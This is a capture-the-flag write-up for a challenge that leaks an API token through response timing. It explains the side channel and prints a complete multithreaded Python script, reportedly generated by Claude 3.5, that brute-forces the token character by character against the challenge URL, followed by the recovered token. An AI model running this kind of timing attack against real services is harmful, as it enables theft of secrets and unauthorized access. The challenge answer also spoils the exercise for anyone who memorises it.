Timing Leaks Everything
There’s a website that requires an API token for using its service. Unfortunately, you don’t have one of these fancy API tokens. Using the power of time, can you discover one? Hint: The character set of the token is limited to the following: “abcdefghijklmnopqrstuvwxyz0123456789-_”
This challenge is a time-based blind attack, where we need to slowly craft the token. I assume the backend is doing something like:
token = "some-secret-token"
user_token = input()
for i in range(len(user_token))
if (user_token[i] == token[i]):
time.sleep(0.25)
else:
print("Invalid token!")This allows us to basically bruteforce the token, character-by-character, by analyzing response time. I had Claude 3.5 generate a Python script to do this for me:
def time_leak_attack(base_url, charset, max_length=32, attempts_per_char=5, threads=6, min_gap_ratio=0.15):
token = ''
print(f"Starting timing attack on {base_url}")
for pos in range(max_length):
while True:
timings = []
all_samples = {}
def test_char(c):
guess = token + c
samples = []
for _ in range(attempts_per_char):
start = time.time()
r = requests.post(base_url, data={'token': guess})
elapsed = time.time() - start
samples.append(elapsed)
# Remove highest and lowest if enough samples
if len(samples) > 3:
samples.sort()
samples = samples[1:-1]
median = statistics.median(samples)
return (c, median, samples)
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
future_to_char = {executor.submit(test_char, c): c for c in charset}
for future in concurrent.futures.as_completed(future_to_char):
c, median, samples = future.result()
timings.append((c, median))
all_samples[c] = samples
# Sort by median, print top 3
timings.sort(key=lambda x: x[1], reverse=True)
print(f"\n[Pos {pos+1}] Top 3 candidates:")
for c, med in timings[:3]:
print(f" '{c}': median={med:.4f}s, samples={all_samples[c]}")
best_char, best_median = timings[0]
second_median = timings[1][1] if len(timings) > 1 else 0
# Require a significant gap
if best_median > 0 and (best_median - second_median) / best_median >= min_gap_ratio:
token += best_char
print(f"[+] Token so far: {token}")
# Optional: check for success
r = requests.get(base_url+"/flag?token="+token)
if r.status_code != 403:
print(f"[+] Success! Token: {token}")
return
break
else:
print(f"[!] Gap too small ({best_median:.4f}s vs {second_median:.4f}s), repeating round...")
print(f"Final token guess: {token}")
time_leak_attack(
base_url='https://time-leaks-everything.chals.ctf.malteksolutions.com/',
charset="abcdefghijklmnopqrstuvwxyz0123456789-_",
max_length=32,
attempts_per_char=5,
threads=6,
min_gap_ratio=0.02
)
# ak-t1m3-t0k3nThe tl;dr of this script is:
- Enumerate through all the characters at position x, 5 times each.
- Calculate top 3 characters based on median sample (response time)
- Calculate most likely character for position x if >=2% of the other characters
- Submit the token to the flag checker, and if it fails, repeat for next position
We do it this way because there is going to be a lot of traffic going to this endpoint from other users, which can cause unreliable response times. By sampling 5 times, we help reduce outliers and get reliable scores. We use a gap ratio to ensure it’s statistically significant, and if not, we repeat the test.